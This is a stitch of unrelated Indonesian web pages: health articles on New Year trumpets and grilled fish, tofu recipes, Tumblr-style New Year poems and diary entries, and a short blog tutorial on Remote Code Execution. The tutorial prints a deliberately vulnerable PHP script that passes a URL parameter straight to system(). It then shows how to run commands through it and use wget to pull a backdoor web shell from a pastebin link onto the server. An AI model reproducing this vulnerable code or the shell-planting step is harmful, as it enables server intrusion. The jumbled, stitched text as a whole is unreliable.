Hanya saja, bakteri penyebab difteri yakni bakteri corynebacterium diphtheria harus berada di lingkungan yang lembab, sesuatu yang cenderung sulit ditemukan pada terompet yang dijual di pinggir jalan. Terompet-terompet ini cenderung terus terpapar panas dan tidak lembab sehingga setelah bagian terompet yang ditiup mengering, bakteri-bakteri ini akan mati.

Terompet tahun baru juga bisa menyebabkan penularan HIV?

Isu bahwa terompet tahun baru bisa memicu penularan HIV juga ramai beredar di media sosial. Pakar kesehatan menyebutkan bahwa penularan HIV cenderung tidak mudah dilakukan jika virus ini sudah terpapar udara terbuka sebagaimana di terompet tahun baru. Seringkali, penularan salah satu penyakit paling mengerikan dan mematikan di dunia ini adalah karena hubungan seksual yang tidak aman atau sering bergonta-ganti pasangan, penggunaan jarum suntik yang bergantian, hingga transfusi darah yang tidak aman.

Tips aman meniup terompet tahun baru

Pakar kesehatan menyarankan kita untuk membersihkan bahian ujung terompet yang akan dipakai untuk meniup atau mencoba. Jika perlu, kita bisa memakai penyaring khusus yang bisa kita bawa sendiri sebelum meniupnya sehingga mulut kita tidak langsung menempel pada terompet tersebut saat mencobanya.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Makan Ikan Bakar di Malam Tahun Baru Bisa Tingkatkan Risiko Kanker?

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

ikan-bakar-doktersehat
Photo Source: Twitter/ibjjimbaran

DokterSehat.Com– Tak hanya berkumpul di pusat kota untuk menikmati pesta kembang api atau hiburan lainnya, banyak orang yang sengaja memutuskan untuk menikmati malam tahun baru di rumah atau bersama dengan teman-teman. Kegiatan yang dilakukan adalah membakar ikan atau menyalakan kembang api sendiri.

Dampak mengonsumsi makanan yang dibakar

Makanan yang dibakar seperti ikan bakar, sosis bakar, daging bakar, dan makanan-makanan lainnya memang cenderung memiliki rasa yang enak. Tanpa perlu diberi tambahan bumbu dalam jumlah banyak, kita sudah bisa menikmatinya. Sayangnya, menurut pakar kesehatan, mengonsumsi makanan yang dibakar terkait dengan kanker.

Menurut pakar kesehatan, saat kita membakar makanan seperti daging merah, daging unggas, atau daging ikan, maka makanan-makanan ini akan mengalami perubahan kandungan nutrisi. Sebagai contoh, akan muncul senyawa protein yang bersifat karsinogenik atau bisa menyebabkan kanker. Senyawa ini adalah heterocyclic amines (HCA) dan polycyclic aromatic hydrocarbon (PAH). Senyawa yang disebutkan terakhir ini muncul saat lemak dari daging merah, daging ayam, atau daging ikan terpapar bara panas dan menimbulkan munculnya asap yang akhirnya merasuk ke dalam daging.

Senyawa HCA dan PAH terbentuk saat suhu yang dipakai untuk membakar daging mencapai 100 derajat Celcius. Bahkan, dampaknya bisa lebih buruk jika suhu ini mencapai 300 derajat C. Jika kita terpapar senyawa ini dalam jumlah banyak, maka komposisi DNA di dalam tubuh kita akan mengalami kerusakan dan akhirnya memicu perkembangan sel kanker.

Beberapa jenis kanker yang terkait dengan senyawa-senyawa ini adalah kanker payudara, kanker prostat, kanker kelenjar getah bening, kanker lambung dan kanker usus besar.

Sebaiknya tidak makan ikan bakar?

Pakar kesehatan menyebut ikan bakar bukanlah satu-satunya penyebab datangnya kanker. Hal ini berarti, kita masih bisa mengonsumsinya, termasuk di malam tahun baru seperti sekarang ini. Hanya saja, pastikan untuk membatasi konsumsinya agar tidak berlebihan atau tidak terlalu sering.

Makanan lain seperti daging merah bakar atau ayam bakar juga sebaiknya dibatasi konsumsinya karena memiliki kandungan protein dan lemak yang lebih tinggi jika dibandingkan dengan di dalam daging ikan. Membakarnya tentu akan membuat produksi senyawa bersifat karsinogen menjadi lebih tinggi. Selain itu, proses pembakaran daging merah dan daging ikan juga cenderung lebih lama dibandingkan dengan daging ikan sehingga risiko kanker pun akan semakin meningkat jika kita sering mengonsumsinya.

Tips sehat membakar daging ikan

Jika kita memang ingin mengadakan pesta ikan bakar di malam tahun baru, sebaiknya kita melakuka beberapa tips ini untuk membuat makanan yang dibakar menjadi lebih sehat untuk kita konsumsi.

Berikut adalah beberapa tips tersebut.

  1. Marinasi daging ikan sebelum dibakar

Marinasi adalah proses perendaman daging ikan di dalam cairan berbumbu sebelum dibakar. Proses ini disebut-sebut bisa mencegah pembentukan senyawa HCA hingga 99 persen. Hanya saja, jangan sembarangan melakukan proses marinasi dengan garam dan sebaiknya memilih bahan-bahan yang asam.

  1. Memilih rempah-rempah

Alih-alih memakai garam, pakar kesehatan menyarankan kita untuk memakai bumbu rempah-rempah untuk dioleskan pada ikan yang akan dibakar seperti bawang bombay, bawang putih, kunyit, dan lain-lain.

  1. Jangan memakai saus

Meski bisa membuat rasa ikan bakar menjadi lebih nikmat, menambahkan saus pada daging ikan bisa meningkatkan risiko pembentukan HCA hingga 1,9-2,9 kali lipat.

  1. Konsumsi sayur dan buah

Makanlah sayur dan buah saat makan daging ikan agar kita mendapatkan asupan serat yang menyehatkan. Hal ini akan membantu kita mencegah pembentukan senyawa HCA.

  1. Jangan membakar daging ikan terlalu lama

Jangan membakarnya terlalu lama. Agar proses pembakaran menjadi lebih cepat, kita bisa memotong-motong daging ikan terlebih dahulu sehingga lebih cepat matang. Selain itu, jangan konsumsi bagian yang gosong karena memiliki senyawa karsinogen.



Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

Apa itu Remote Code Execution? dan Bagaimana Remote Code Execution itu bekerja?

Naufal Ardhani - Hallo gaes dah lama nih engga update artikel diblog ini karna gasempet buat nulis waktunya keambil terus sama kegiatan lain hehe , Kali ini Saya akan membahas sebuah metode yang bernama Remote Code Execution atau biasa disebut RCE.



Mungkin anda belum tau lebih jelas metode ini Apa itu Remote Code Execution? dan Bagaimana Remote Code Execution itu bekerja? silahkan simak ya ada dibawah jawabannya.



  • Apa itu Remote Code Execution?

Remote Code Execution merupakan bug dimana sang attacker mempunyai kemampuan untuk mengeksekusi perintah di mesin target, biasanya memanfaatkan kelemahan aplikasi yang dijadikan target eksploitasi, memungkinkan attacker untuk menjalankan command2 secara remote melalui url. Bug ini biasanya terdapat pada aplikasi yg mnggunakan cgi.


  • Bagaimana Remote Code Execution itu bekerja?

Script PHP Remote Code Execution sederhana :
<?php echo "RemoteCodeExecution | www.naufalardhani.com<br><br><br>"; $cmd=$_GET['action']; echo "Command : " . $cmd . "<br><br>"; system($cmd); ?>
Script diatas merupakan contoh script yang rentan pada PHP, Sesimple itu kah susunan script Remote Code Execution? yaps benar masalahnya ada di system($command),
Ini akan menjalankan fungsi yang berhubungan dengan sistem.

Disini saya sudah mengupload script Remote Code Execution ke localhost dengan nama tools.php sebagai contoh target dan saya akan mempraktekan bagaimana sang Attacker melakukan Remote Code Execution pada sistem,

  1. Saya membuka link http://localhost:8888/tools.php ( contoh target )
  2. Dan saya menambahkan ?action= setelah http://localhost:8888/tools.php untuk melakukan Remote Code Execution, jadi seperti berikut linknya http://localhost:8888/tools.php?action= dan saya mencoba menjalankan command ls untuk melihat isi directory, http://localhost:8888/tools.php?action=ls dan terdapat 1 folder dan 3 file.
  3. Lalu sang Attacker mencoba memanggil Shell Backdoor RESET dengan command wget, seperti ini commandnya "wget linkshell -O namafile.php", http://localhost:8888/tools.php?action=wget https://pastebin.com/raw/**** -O reset.php
  4. lalu kita cek Shellnya, http://localhost:8888/reset.php
Nahh sudah terupload shellnya :)

Sampai disini saja artikel kali ini semoga bermanfaat bagi kalian semua dan jika ada kesalahan dalam penulisan artikel ini mohon di maklumi karna saya sebagai penulis juga masih belajar.

Request artikel / Mengoreksi kesalahan dalam artikel? silahkan isi di kolom komentar.

5 Kreasi Resep Tofu yang Enak dan Sehat

Jangan lupa membaca artikel tentang bisnis di > Informasi bisnis terbaik 2020.

resep-tofu-telur-doktersehat

DokterSehat.Com – Anda termasuk penggemar berat resep masakan tofu? Beberapa resep tofu yang enak dan sehat ini bisa memanjakan lidah Anda. Ada resep olahan tofu yang nikmat sehingga Anda bisa tofu dengan penuh selera. Ingin tahu apa saja resep tofu yang sehat dan enak? Yuk, simak selengkapnya di sini.

Kreasi Resep Tofu yang Enak dan Sehat

Tidak perlu bingung bila Anda ingin makan tofu buatan sendiri. Ada beberapa kreasi resep tofu yang enak dan juga sehat. Sebaiknya Anda mencoba beberapa resep masakan tofu di bawah ini. Selain sehat dan enak, resep tofu yang tersaji merupakan resep yang praktis.

Berikut ini adalah beberapa kreasi resep tofu yang sehat dan enak:

1. Resep Tofu Telur Asin

resep-tofu-saus-telur-asin-doktersehat
Resep Tofu Telur Asin. Photo source: Cookpad.com @haritsa ifahmy

Bahan:

  • 3 bungkus egg tofu
  • 1/4 bawang bombay, potong kecil
  • 3 siung bawang merah, cincang halus
  • 2 siung bawang putih, cincang halus
  • 1 siung daun bawang, potong-potong
  • 1 butir telur asin matang
  • merica secukupnya
  • garam secukupnya
  • gula secukupnya

Cara membuat:

  1. Potong-potong egg tofu
  2. Goreng sampai matang dan sisihkan
  3. Buatlah saus telur asin
  4. Kupas telur asin dan pisahkan kuning dan putihnya
  5. Haluskan masing-masing bagian putih dan kuning telur asin
  6. Beri sedikit air
  7. Panaskan sedikit minyak
  8. Tumis bawang merah dan bawang putih
  9. Masukkan bawang bombay dan tumis sampai layu
  10. Masukkan telur asin bagian kuningnya
  11. Aduk-aduk sebentar dan masukkan bagian putih telur
  12. Tambahkan garam, gula, dan merica sesuai selera
  13. Koreksi rasanya
  14. Tambahkan air
  15. Masukkan tofu dan aduk sampai meresap
  16. Masukkan daun bawang
  17. Aduk hingga mendidih dan daun bawang agak layu
  18. Setelah kuah mulai mengetal maka matikan api
  19. Angkat dan Hidangkan

2. Resep Tofu Goreng

resep-tofu-telur-goreng-doktersehat
Resep Tofu Goreng

Bahan:

  • 3 sendok makan tepung maizena
  • 1 sendok teh kaldu bubuk rasa ayam
  • 1 bungkus egg tofu, potong menjadi 8 bagian
  • minyak secukupnya untuk menggoreng

Bahan pelengkap:

  • Saus sambal (opsional)

Cara membuat:

  1. Campur tepung maizena dengan kaldu bubuk dan aduk rata
  2. Panaskan minyak goreng
  3. Lumuri egg tofu dengan campuran tepung
  4. Goreng tofu hingga matang dan berwarna kuning kecoklatan
  5. Angkat dan sajikan dengan bahan pelengkap

2 orang

Baca Juga: 6 Kreasi Resep Tahu yang Enak dan Sehat

3. Resep Masakan Tofu Saus Tiram

resep-tofu-saus-tiram-doktersehat
Resep Masakan Tofu Saus Tiram

Bahan:

  • 250 gram daging ikan kakap
  • 1 putih telur
  • 3 sendok makan tepung sagu
  • 2 buah egg tofu, potong-potong
  • 2 sendok makan tepung maizena
  • minyak secukupnya, untuk menggoreng

Bumbu:

  • 2 siung bawang putih, memarkan
  • 1 buah bawang bombay, iris
  • 2 cm jahe, memarkan
  • 3 sendok makan saus tiram
  • 1 sendok makan kecap manis
  • 2 sendok makan tausi
  • 1 sendok teh merica bubuk
  • 100 ml air
  • 1 sendok makan tepung maizena, larutkan dengan sedikit air
  • 200 gram brokoli, siangi
  • 1 batang daun bawang, iris

Cara membuat:

  1. Iris daging ikan kakap
  2. Celupkan ke dalam putih telur lalu lumuri tepung sagu dan goreng
  3. Potong-potong egg tofu menjadi 8 bagian
  4. Lumuri egg tofu dengan tepung maizena dan goreng
  5. Panaskan 2 sdm minyak sisa menggoreng
  6. Tumis bawang putih dan bawang bombay hingga layu
  7. Masukkan jahe, saus tiram, kecap manis, tausi, merica bubuk, dan air
  8. Jika sudah mendidih maka tambahkan larutan maizena
  9. Aduk hingga merata dan kuah mengental
  10. Masukkan brokoli dan daun bawang
  11. Masak sebentar
  12. Tambahkan ikan goreng dan tahu goreng
  13. Aduk rata dan angkat
  14. Tuang ke dalam wadah saji dan hidangkan

4 orang

4. Resep Tofu Brokoli

resep-tumis-tofu-brokoli-doktersehat
Resep Tofu Brokoli

Bahan:

  • 1 bungkus egg tofu, potong menjadi 8 bagian

Bahan celupan:

  • 150 gram tepung terigu
  • 50 gram tepung sagu
  • 2 sendok teh garam
  • 1 sendok teh merica bubuk
  • 1 sendok teh kaldu bubuk
  • 1 sendok makan cabai bubuk
  • 150 ml air
  • minyak secukupnya, untuk menggoreng
  • 250 gram brokoli, rebus setengah matang
  • 2 sendok makan minyak goreng
  • 3 siung bawang putih, memarkan
  • 3 cm jahe, memarkan
  • 300 gram udang sedang, kupas belah punggung
  • 8 sendok makan saus tiram
  • 3 sendok makan kecap manis
  • 3 sendok makan saus sambal
  • 1 sendok teh garam
  • 1 sendok teh merica bubuk
  • 200 ml air
  • 1 sendok makan tepung maizena, larutkan dengan sedikit air

Bahan taburan:

  • Kacang mete goreng

Cara membuat:

  1. Tepung Celupan Pedas: Campur tepung terigu, tepung sagu, garam, merica, kaldu bubuk, dan cabai bubuk. Aduk rata. Tambahkan air hingga menjadi adonan yang kental
  2. Panaskan minyak dan celupkan tofu
  3. Goreng hingga matang dan berwarna kecoklatan
  4. Angkat, tiriskan, dan sisihkan
  5. Panaskan minyak di atas wajan
  6. Tumis bawang putih dan jahe hingga harum
  7. Masukkan udang dan masak hingga berubah warna
  8. Tambahkan saus tiram, kecap manis, saus sambal, garam, merica, dan air
  9. Aduk dan masak hingga mendidih
  10. Kentalkan kuah dengan larutan maizena
  11. Masukkan brokoli dan aduk rata
  12. Matikan api dan angkat
  13. Tata tofu di atas piring saji
  14. Siram dengan tumisan
  15. Taburi kacang mete (opsional)
  16. Sajikan hangat

4 orang

Baca Juga: 4 Kreasi Resep Masakan Tempe yang Enak

5. Resep Tofu Asam Manis

resep-tofu-saus-asam-manis-doktersehat
Resep Tofu Asam Manis. Photo source: Cookpad.com @Christina Yulianti

Bahan:

  • 2 bungkus tofu
  • 4 sdm tepung maizena
  • 1 butir telur, kocok lepas
  • 1 buah wortel, potong korek
  • 1 ikat pakcoy
  • 1/2 bawang bombay, potong memanjang
  • 2 siung bawang putih, cincang kasar
  • 1/2 batang daun bawang
  • air matang secukupnya
  • kecap manis secukupnya
  • saos tomat secukupnya
  • saos sambal secukupnya
  • lada bubuk secukupnya
  • gula secukupnya
  • garam secukupnya
  • minyak goreng secukupnya

Cara membuat:

  1. Potong tofu dan baluri dengan tepung maizena (jangan diberikan air)
  2. Goreng tofu hingga kecoklatan dan tiriskan
  3. Tumis bawang putih, bawang bombay, dan wortel hingga harum lalu sisihkan
  4. Goreng telur yang sudah dikocok
  5. Campurkan tumisan dengan telur orek
  6. Masukkan pakcoy dan tambahkan air matang
  7. Masukkan saus dan bumbu-bumbu
  8. Koreksi rasanya sesuai selera
  9. Masukkan larutan maizena ke dalam tumisan agar kuah mengental
  10. Masukkan daun bawang diikuti tofu yang sudah digoreng
  11. Aduk-aduk hingga semua tercampur
  12. Hidangkan selagi hangat

 

Sumber:

  1. Sisca Soewitomo. 2010. 1000 Resep Masakan & Kue Sisca Soewitomo yang Paling Dicari. Jakarta: Gramedia Pustaka Utama
  2. Cookpad: Egg Tofu Salted Egg (Tumis Tofu Saus Telur Asin). Haritsa Ifahmy. https://cookpad.com/id/resep/5811750-egg-tofu-salted-egg-tumis-tofu-saus-telur-asin [diakses pada 28 Desember 2018]
  3. Cookpad: Tofu Asam Manis Pedas. Christina Yulianti. https://cookpad.com/id/resep/4500678-tofu-asam-manis-pedas [diakses pada 28 Desember 2018]


Selain sebagai media informasi kesehatan, kami juga berbagi artikel terkait bisnis.

kumpulan kata kata untuk tahun baru 2019 - Diary Tumblr

===============================================

“Mari pejamkan mata. Lupakan sejenak perihal ‘malam esok’. Yang entah kenapa seolah seluruh manusia membicarakannya.”

— Rintihan Hujan

===============================================

365 Hari

Matahari masih setia. Menemani sang bumi teguh melintasi jalurnya.
Matahari masih setia. Menemani bumi datang kembali ke tempat asalnya. Matahari masih setia. Menemani bumi bertemu dengan cintanya. Matahari masih setia. Menemani bumi meyusuri waktu hari harinya.

===============================================

Semarak angin selama itu membawa teduh. Teduh bertemu setetes embun penyambut fajar. Meneteskan ujian hidup dipangkuan dedaunan.
Sorak sinar semakin meninggi menguapkan segalanya. Berusaha menyambut hari melawan panas ataupun dingin. Terkadang hujan datang bersama deras. Jatuh menukik di atas punggung bersemayam. Menambah beban di pikul lusuh bekas badai menerjang.

===============================================

Gontai ia berjalan di atas tanah yang basah. Menapak pelan meninggalkan jejak jejak hikmah. Sesekali tergelincir di jalanan licin. Namun semakin kuat kakinya melangkah kedepan masa. Ingin sekali mendongakkan wajah ayu nya menyaksikan indahnya barisan air langit yang tumpah. Namun tak kuasa. Tak kuasa memandang indahnya jatuhan nikmat yang tiada habisnya. Karena hujan tak akan selamanya.

===============================================

Pelangi mencari celah di tiap waktu yang berjalan. Ingin menitipkan senyuman melalui seseorang. Yang sekilas terlihat indah lalu perlahan memudar. Menyisakan suka yang menghapus duka. Bertemu kembali dengan terik yang menghapus rautnya. Melukiskan bahagia di balik awan gelap yang terjaga.

===============================================

Senja kan tiba. Mengulirkan segalanya. Di bawah kuasa Nya. Ditepi garis berwarna merah, matahari meyempatkan berkata, aku masih setia.

===============================================

Rembulan yang sudah menunggu, tersenyum semakin membundar. Mendengar matahari menyampaikan pesan. Rembulan yang pendiam, selalu berteman bintang. Ia tak pernah sendirian. Mendamaikan malam dan hati yang tak tentram. Nyenyak menemani hati menyambut mentari, lagi.

===============================================

Bernostalgia

nostalgia/nos·tal·gia/ n 1 kerinduan (kadang-kadang berlebihan) pada sesuatu yang sangat jauh letaknya atau yang sudah tidak ada sekarang; 2 kenangan manis pada masa yang telah lama silam;

bernostalgia/ber·nos·tal·gia/ v 1 melepaskan rindu setelah lama tidak bertemu; 2 mengingat peristiwa-peristiwa manis yang pernah dialami pada masa lalu
-

Aku suka bernostalgia. Bernostalgia bisa membuatku tersenyum malu, tertawa gembira, dan merasa bangga walau terkadang bernostalgia bisa juga membuatku merasa sedih dan hampa.

Tidak ada yang salah dengan bernostalgia. Aku yang menanamkan mindset di dalam pikiranku agar tidak menyesali apa yang sudah terjadi fine-fine saja dengan bernostalgia. Walau tidak semua kejadian yang terjadi di masa lalu itu indah, kejadian buruk pun tak ada salahnya diingat-ingat sebagai suatu momen yang pernah terjadi dalam hidup kita.

Bernostalgia membuatku bersyukur. Setidaknya ketika aku sedang menginginkan sesuatu yang sebenarnya tidak terlalu aku butuhkan, hal yang bisa menahan keinginanku itu adalah dengan bernostalgia. Melihat foto-foto lama, misalnya. Terkadang kita lupa bahwa kita pernah mendapatkan dan merasakan semua kenangan yang pernah kita alami, sehingga kita butuh sesuatu untuk mengingatkan kita, dan bernostalgia adalah salah satu caranya.

Bernostalgia menjadi salah satu alasanku menyukai fotografi. Aku menangkap momen-momen dengan harapan aku bisa bernostalgia dengan momen itu di masa yang akan datang. Sesederhana ketidakinginanku melupakan setiap peristiwa yang berharga. Seperti hari-hari terakhir di tahun 2015 yang kulewatkan dengan membuka kembali folder foto-foto lama, sambil membayangkan setiap kenangan manis yang tersimpan di dalamnya.

===============================================

Akhir 2018

Kalau ga salah inget, tahun ini lebih banyak keluhan daripada tahun sebelumnya. Bagus. Kemajuan kalo kata aku mah. Pertahanin jangan di tahun selanjutnya?

Banyak gagalnya, banyak jatuhnya, tahun ini berat. Tapi ga berasa aja gitu, udah mau ganti kalender. Jadi mahasiswi tingkat 3 yang masih bertahan PP Ciledug - Ciputat walaupun tiap sampe rumah sambat capek melulu, kkn sama magang selama di Makassar yang bikin belajar buat lebih mandiri, masalah percintaan yang kandas (berkali-kali), di playing victim sama temen yang udah deket banget sampe putus hubungan dan akhirnya balik lagi dengan rasa yang beda (hambar), hilang rasa percaya sama beberapa orang yang aku kira baik ternyata jauh sekali dari kata baik. Ehe.

Belum lagi tahun ini awal nyusun skripsi, ngajuin judul yang agak terlambat karna sempat ada masalah sama seorang laki-laki, proposal yang terbengkalai karna kecerobohan sendiri, ada di satu circle toxic yang sampe sekarang aku belum berani nge-cut-nya, baru-baru ini ada yang datang lagi (katanya dari masa lalu) yang padahal dulu sudah say bye, penyesalan-penyesalan, belum mampu damai sama diri sendiri belum memaafkan diri sendiri, masih belajar buat terus sayang sama diri sendiri.

Pahit, memang. Namanya juga idup.

Tapi dari apa yang udah terjadi, aku belajar banyak sekali. Aku jadi bangkit dari payahnya hidup, entah untuk yang ke berapa kali, aku ketemu sama orang baru yang ngajarin aku banyak hal, aku sanggup ikhlas melepas apa yang memang sudah waktunya untuk lepas, aku kehilangan tapi aku kasih kesempatan buat diriku untuk memberi lebih, aku tau siapa aja yang harus aku pertahankan, aku lebih bisa kontrol diri buat lebih manusiawi (ga asal iya-iya aja).

Dari semuanya, aku jadi perempuan yang lebih tangguh. Ga cuma soal perasaan, tapi soal hidup. Banyak yang harus aku selesaikan di 2019. Skripsi, pastinya. Ada yang mesti aku bagi ke banyak orang sekaligus aku cari lebih banyak, pengalaman. Pun ada yang perlu aku jaga, positive circle-ku.

Akhir 2018 ini, justru awal mula dari mimpi yang akan aku perjuangkan. Aku memperbaiki hidupku yang kayaknya makin kusut. Semua rasa kecewa, nyesel, sakit hati, iri baiknya aku buang, kesehatan mentalku lebih penting.

2019, boleh ya aku ngeluh lagi? Biar aku tambah dewasa tiap menyikapi apapun yang terjadi.

===============================================

365 of 365

Genggam tanganku
Jangan kau lepas
Nanti kau jatuh
Sebab kau belum bisa berjalan

===============================================

Kugenggam tanganmu
Jangan kau tepis
Kuajarkan kau berjalan
Supaya kau bisa berlari

===============================================

Kelak, kau kan meninggalkanku
Dan aku akan mengejarmu
Sebab rinduku padamu sudah terakumulasi

===============================================

Kelak, aku akan mencarimu
Dan kau akan lupa kalau aku yang mengajarimu berjalan

===============================================

Jangan tepis tanganku
Meski kau sudah bisa berjalan
Meski kakimu sudah kuat untuk berlari

Kita akan terus saling menggenggam.

===============================================

pernah-bahagia

Kamu bilang, menjadi diriku sendiri itu baik
Tapi, kamu nyaris menepis tanganku karena aku memalukan
Aku tidak secantik teman-temanmu
Tidak secerdas mereka
Tidak bisa mengikuti seperti apa yang semua orang lakukan
Aku bertahan menjadi diriku sendiri, sebab kamu bilang, itu cukup

Tapi, waktu berlalu
Dan kamu sama sekali tidak menunjukkan kalau kamu merasa puas memilikiku
Kamu tidak pernah menceriterakanku pada orang-orang
Atau membawaku ke acara-acara pentingmu

Aku hanya tinggal di rumah
Kau sapa sesekali
Dan kau pandang dengan enggan

Sayang, aku berubah
Kau tanya, kenapa?
Aku jawab, tak apa.
Hanya sekali kau tanya
Setelah itu, kau lupa dan malah menikmatinya

Aku bukan lagi diriku
Tapi kau tampak menyukai itu
Jadi, disinilah aku,

Bertahan dengan puing-puing harapan
Mencoba untuk berdoa
Harapku sederhana, bisa kembali berpijar di matamu
Tapi, tampaknya itu terlalu muluk

Aku masih berdiri sayang
Tanganku terkatup rapat
Memohon pada malaikat
Supaya kau membuka mata dan terjaga
Sebab aku, ingin kembali menjadi diriku

Tapi, jika kau tak ingin itu
Aku tak apa tetap begini.
Aku tetap akan berpura-pura
Asal kau tetap setia untukku.

===============================================

“Aku tidak sabar menunggu tahun yang baru. Terkadang untuk melakukan perubahan dibutuhkan suatu momentum. Ya, inilah yang kuucapkan dari tahun-ke-tahun, di waktu menjelang pergantian tahun. Api semangat dan kuatnya keinginan tiap tahun berbeda-beda, namun ketidaksabaran dan harapan itu akan selalu ada.”

Akhir tahun

“Aku melihat langit biru dan aku tahu kamu mungkin juga sedang melihatnya.”

Beberapa tahun ini cakrawala ku berpijar tanpa cahaya. Segala sesuatunya ada, tidak segalanya benar tapi juga tidak segalanya salah. Aku tersesat. Aku berlarian diantara waktu dan mencoba mengejar sesuatu untuk ku genggam pasti. Lantas kemudian aku kelelahan dan menyadari aku tak pernah benar-benar mengejar apa-apa. Aku hanya berlari dan terus berlari untuk diriku sendiri.

Aku menemukan dia dalam pelarian dan merasa terbang dengan sayapnya yang semu. Dia mirip kamu dan itu sudah cukup membuat ku buta. Aku masih tersesat tapi aku merasa aman karena dia tersesat bersama ku. Dan saat sayapnya meredup, lalu menghilang sama sekali aku melihat lagi. Dia palsu, kami semu dan aku tidak aman. Sekarang aku tersesat dan marah.

Aku berharap sesuatu akan terjadi, setidaknya biarkan aku mendapat sepotong kecil peta untuk terus beralasan tetap berdebar. Aku berteriak pada angin dan mereka membisikkan sapaan mu. Aku menemukan sepotong peta ku.

Bisikkan itu lalu berlari dan menghantam ku dengan ucapan nyata. Kamu ada, terdengar dan tergapai lagi oleh pikiran ku. Aku menemukan debaran lagi dan merasa cukup untuk berlari. Tapi itu menurutku. Keadaannya kamu nyata tapi bukan lagi hati ku. “Kita” adalah bahasa muram masa lalu dan kamu sudah berpindah ke masa depan dengan pilihan baru. Aku patah, tersesat lagi tapi kini dengan pengertian yang lebih sederhana.

Aku cemburu. Dan Cinta tidak cemburu. “Kita” sudah ada diluar lingkaran masa lalu dan tidak akan bergerak masuk lagi. “Kita” bukan lagi aku dan kamu. Entah kemana jantung ku berpindah.

Lalu aku terdampar lagi di masa lalu yang lain. Masih tersesat, tapi menemukan sepotong peta lagi. Kamu mengenal potongan itu? Dia pernah bersama ku setelah kamu. Dia pernah bersama mu sebelum bersama ku. Dia orang itu.

===============================================

Sebuah Nasihat
Saya paling bisa membalas omongan jahat orang dengan kata-kata yang lebih jahat. Otak saya terdiri dari kumpulan kamus kata-kata positif dan super negatif yang bisa muncul jika diri merasa terancam.

Orang yang berkata jahat pada saya, sebagiannya tidak tahu bahwa saya bisa jauh lebih menyakiti mereka. Sebagiannya tahu, karena pada akhirnya saya tidak selalu bisa menahan diri dan memuntahkan kata-kata yang lebih menyakitkan bagi mereka yang menyakiti saya, meski tidak saat itu juga.

Saya sering teringat kejadian di tahun pertama saya kuliah dulu. Saya cerita pada seorang teman baik, bahwa saya sebal pada seseorang dan akan membalas dengan kalimat yang sama menyakitkannya.

Nasihat teman saya sederhana, “kalo lu bales, apa bedanya lu sama dia?”

Dan nasihat itu sering bisa menjadi pengendali saya, apakah sebuah perkataan negatif harus dibalas karena orang tersebut harus tahu bahwa dia salah, ataukah harus didiamkan karena tidak ada gunanya.

Kalau iman sedang baik, semua dikembalikan pada Yang Menciptakan Bibir, dia yang bisa membungkam orang zalim (termasuk saya sendiri mungkin di banyak kasus) dengan cara-Nya. Kalau iman sedang kurang baik, akan muncul dendam tak berkesudahan.

Pada dasarnya, semua kejadian yang membuat hati berasa buruk butuh diistighfari. Barangkali kita diingatkan pada perbuatan kita yang tidak menyenangkan, atau sekedar untuk ujian kesabaran.

============================================

Ada beberapa kenangan yang
tak ingin kau lupakan,
tapi nyatanya tak bisa kau ingat.

Ada beberapa kenangan yang
tak ingin kau ingat,
tapi nyatanya tak bisa kau lupakan.

Bagi beberapa kenangan,
ingatan adalah ruah
dan
bagi beberapa kenangan,
ingatan hanyalah tempat singgah.

–G.N

===============================================

Aku Bisa Menunggu

Aku terlalu terbelenggu oleh kata-kata yang untai menuju masa lalu. Kata-kata yang lahir dan menemui kematiannya sendiri. Karena di masa lalu hanya ada kenangan-kenangan yang kelak tersapu dan terlupakan. Kenangan yang kunamakan “tujuh tahun” dan “dua tahun”.

Kenangan itu membuatku lupa, bahwa perjalananku bukanlah untuk alasan yang dipaksakan indah dan untai. Ada masa depan yang dicitakan.

Dan itu kamu.

Menemukanmu dalam keindahan kata-kata bukanlah tujuanku. Perjalanan ini mengubahku terlalu jauh dan aku harus berusaha keras untuk kembali pada kehidupan lama itu.

Aku sungguh lupa bahwa yang kubutuhkan taklebih dari kesederhanaan. Kumpulan kata-kata yang membentuk kesederhanaan untuk apa pun: perihal bahagia, sedih, dan juga menemukanmu. Karena untukmu, aku ingin berdiri dalam jarak di mana kelak kau akan menemukanku juga dengan sekotak rindu yang sudah kusiapkan berlapiskan beludru.

Untuk membersamaimu, aku bisa menunggu.



Jakarta,

18 April 2017

============================================

Tidak Ada Engkau Hari Ini

untuk ‘hidupku’

Pada mulanya, aku adalah kosong.
Mula adalah tengah persimpangan;
ketika aku masih perlu mengenal rambu.
Waktu telah rela kukecup
habis selama dua puluh tiga tahun;
—dan lebih dari satu tahun
sebelum cinta sampai
dan jatuh kepadamu.
(mungkin bukan cinta, hanya
hal yang ternyata ‘sama’ saja)

Persimpangan kutempuh.
Mendekati atau menjauhi,
aku belum tahu, karena
jalan terlihat seperti tiada ujung.
Lampu-lampu jalan menguning
ketika aku menggenggam sebanyak sisi gelap
diri ke dalam jemarimu
—Dan matamu yang terkadang
merasakan marah, bersembunyi
dan beradu dengan ketidakyakinan.

Melihatnya, aku merasa:
Hidup seperti mengulang kesalahan-kesalahan,
dan kita dibuat tidak pernah merasa bisa
menunjukkan daya, yang banyak dibicarakan
orang-orang—Apa cinta selemah itu
Sayangku?

Katamu, manusia tak seharusnya
berhenti belajar dan mengerti.
Kejatuhan demi kejatuhan,
semakin memperjelas bahwa cinta
menjadi semakin baur
kabur dengan hal-hal yang tidak pernah
kita ingin ketahui—merasakannya
hanya membuatmu lara
dan menangis dengan tatapan berdosa

Aku sendiri jatuh; jauh ke dalam
palung matamu. Aku bertanya
tapi jawabanmu selalu mental
dengan tidak tahu; dan tidak tahu
adalah jawaban; karena marahmu
pada diri sendiri menampar kaku
mukaku yang—ternyata—tidak pernah
bisa menguasai diri dan mata hati

Sampai pada masa itu, aku kembali
pada mula yang kosong. Terhadap
hidup tidak ada isi apa-apa;
dan terhadap cinta yang menghulu
kepadamu—hanya tersisa huruf-huruf
yang dahulu adalah buku

Aku menangis, karena buku
adalah kumpulan kata-kata
yang maknanya tertampung
sedemikian rupa tentangmu
—dan sudah kesekian kalinya
 aku sendiri yang menghancurkannya;
berhamburan

Tapi, kau selalu sabar menuntun
dan menyusun kejatuhanku
pada jiwaku yang hilang bentuk
—mencintai aku yang kesekian kali
dan mempercayai (?) aku keserupa kali

Kini, aku mengisi kebermulaanku
—atau kematianku?—dengan memantik
suci api pada lilin harapan hidupmu

Kosong, kuisi kembali buku-buku
